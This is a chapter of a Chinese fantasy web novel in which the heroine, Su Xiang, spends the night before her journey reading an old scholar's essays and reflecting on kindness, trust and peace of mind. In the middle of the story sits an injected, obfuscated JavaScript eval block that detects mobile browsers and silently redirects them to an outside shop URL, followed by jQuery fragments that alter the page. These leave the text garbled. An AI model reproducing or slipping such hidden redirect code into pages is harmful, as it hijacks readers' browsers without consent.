出发前的那天晚上，苏湘没睡。
她坐在门口，靠着门框，看着月亮。月亮很亮，照在院子里，照在那块裂了的招牌上。老周已经睡了，刘二也回去了，大山也走了。院子里空空的，只有那排凳子在月光下静静地摆着，一张一张，像一群沉默的人。
老瘸趴在她脚边，打着呼噜。它老了，呼噜声比以前大，睡得比以前沉。有时候睡得太沉，苏湘会忍不住伸手探探它的鼻息，确认它还活着。
小石头缩在屋里睡着了，呼吸声轻轻的。他今天一天都没怎么说话，就是跟着她，端水，递东西，时不时看她一眼。他知道她要走了，但他没哭。
苏湘一个人坐着。
月亮从东边慢慢往西挪，院子里的影子也跟着变。那排凳子的影子拉得很长，一根一根的，像栅栏。
她忽然站起来，走进屋里，从墙角那几箱书里拿出一本。
老秀才的文章。
她捧着那本书，走到门口，在门槛上坐下。月光足够亮，能看清上面的字。
她翻开第一页。
是老秀才写的序。她看过很多遍了，但每次看都觉得不一样。
“吾少时家贫，父早亡，母织布供吾读书。常闻人言：读书无用，不如学手艺。母不言，但夜夜织布至三更。吾问母：母信读书有用乎？母曰：吾不知有用无用，但知汝想读。吾遂读之至今。”
她想起老秀才说这话时的样子。
那时候她刚开互助会，去请他帮忙写字。他坐在院子里，阳光照在他花白的头发上。他说：“姑娘，你知道什么是读书人吗？”
她摇头。
他指着墙上那幅字：“这是我二十岁那年写的。考中秀才那天写的。那时候我想，等我中了举人，当了官，一定要让穷人家的娃娃都能读书。”
他看着那幅字，目光很远。
“后来没中。二十年都没中。但我教了二十年书，让几十个穷娃娃识了字。”
她当时不知道说什么。
现在她好像懂了。
读书有没有用，他不知道。但他儿子想读，他就供。她开互助会有没有用，她也不知道。但那些人需要，她就开。
和织布的母亲一样。
她翻过一页。
这篇写的是他第一次出远门。去府城赶考，走了三天，脚磨出了血泡。路上看见一个乞丐饿死在路边，没人管，就那么躺着。他站了一会儿，想帮忙，但不知道帮什么。他继续往前走。
文章最后写道：“吾非无恻隐之心，实无能为力也。然此事在心，三十年来未尝忘。”
她想起刚来仙门的时候。
杂役院那些人，蹲在墙根底下，晒太阳，等死。和那个乞丐一样。她每天从他们面前走过，他们不看她，她也不看他们。
后来她搬了几个凳子出去。
老周坐了。大山坐了。刘二蹲在旁边。
再后来，越来越多的人来了。
她不知道他们叫什么，不知道他们从哪里来，要到哪里去。他们只是坐着，晒太阳，不说话。
但他们在。
她翻过一页。
这篇写的是他村里的一个恶霸。那人欺压乡里，没人敢惹。他亲眼看见那人把一个寡妇家的锅砸了，就因为寡妇还不上借他的钱。寡妇跪在地上求他，他踢了她一脚，走了。
老秀才在文章里写：“吾当时立墙下，攥拳欲出，然终未敢。”
他不敢。
后来有一天，那恶霸死了，死在自己家里。没人知道是谁杀的。
文章最后写道：“恶人自有恶人磨。然磨恶人者，未必是善人。世道如此，奈何？”
她想起钱明。
钱明来砸招牌的时候，她站在门口，看着那些凳子被砸烂。她没动。
她想起那时候的感觉。
不是不怕。是知道怕没用。
后来老周站出来，大山站出来，刘二跑去找李致远。
他们以前都怕钱明。
大山怕得不敢抬头，老周怕得缩在墙根，刘二怕得绕道走。
但那天他们站出来了。
她想起老周说的那句话。
“我儿子死的时候，我没能护着他。这回护着你了，就当护着他了。”
她想起大山站在她旁边，浑身发抖，但没退。
她想起刘二脑袋上那道疤。
恶人磨了。但磨恶人的人，不是恶人。
她翻过一页。
这篇写的是一件小事。他去镇上买盐，看见一个小孩偷了包子铺的一个包子，被老板抓住打。他走过去，替那小孩赔了钱。
小孩跑了，连谢谢都没说。
有人问他：“你图什么？”
他说：“不图什么。就是看见了。”
她想起墨渊。
墨渊把名单交给她的时候，她也可以不接。那是要命的东西，谁拿着谁危险。
但她接了。
后来她去魔界救他，被人打，被人追，差点死。
有人问她：“你图什么？”
她不知道怎么回答。
现在她知道了。
不图什么。就是看见了。
看见了，就不能装没看见。
她翻过一页。
这篇写的是他晚年的一件事。有个年轻人来找他，说是他几十年前教过的学生。那学生现在发达了，做买卖赚了钱，带了一车礼物来谢他。
老秀才没收。
学生问为什么。
他说：“我教你的时候，没想过你回来谢我。”
学生跪下来，给他磕了三个头。
文章最后写道：“吾平生未受人跪，今受之，心不安。然不受，彼心不安。遂受之。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368385|199842||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她想起那些人。
老周送野菜，刘大送柴火，大山说“我在这儿等您回来”。
他们来的时候，她也没想过要他们回报。
但他们来了。
带着野菜，带着柴火，带着一句话。
她收了。
不是收东西，是收他们的心。
她翻到最后一篇。
这篇很短，只有几句话。
“吾尝问人：何为善？人曰：助人者为善。吾又问：助人者，必善乎？人不能答。”
她想起那些事。
她帮了春兰，春兰弟弟活了。她帮了老周，老周儿子还是死了。她帮了大山，大山敢站出来了。她帮了刘二，刘二脑袋上留了道疤。
她帮了墨渊，墨渊活下来了，但名单上那些人死了。
善还是恶？
她不知道。
她只知道，那些人信她。
老周信她，所以挡在她前面。刘二信她，所以盯着那些人不放。大山信她，所以从懦夫变成敢站出来的人。墨渊信她，所以把命交到她手里。
她帮的人，不一定都活了。
但信她的人，都变了。
她翻到最后一页。
这篇是老秀才临死前写的。字迹比之前潦草，但一笔一画还是清清楚楚。
“吾一生所求，不过‘心安’二字。今将死，心安矣。”
她看着那行字，看了很久。
老周问过她，后不后悔。
刘二问过她，怕不怕。
大山问过她，值不值得。
她不知道怎么回答。
但现在她看着这几个字，忽然有点明白了。
心安。
不是做了多少事，不是帮了多少人，不是有多大的名声。
是做了自己该做的事之后，心里是满的，还是空的。
她想起老周坐在门槛上的样子。
想起刘二蹲在墙根底下的样子。
想起大山站直了的样子。
想起小石头端水递东西的样子。
想起那些人坐在凳子上的样子。
她心里是满的。
她合上书，放在膝盖上。
月亮已经偏西了，院子里的影子拉得更长。那排凳子还摆在那儿，一动不动。
老瘸在她脚边翻了个身，继续打呼噜。
她看着远处。
远处是那条土路，弯弯曲曲的，通向界门，通向魔界。
她不知道那边有什么。
但她知道，这边有人在等她。
这就够了。
她把书抱起来，站起来，走进屋里。
把书放回箱子里，和其他那些放在一起。
她站在箱子前，看了一会儿。
然后她转身，走到床边，躺下。
闭上眼睛。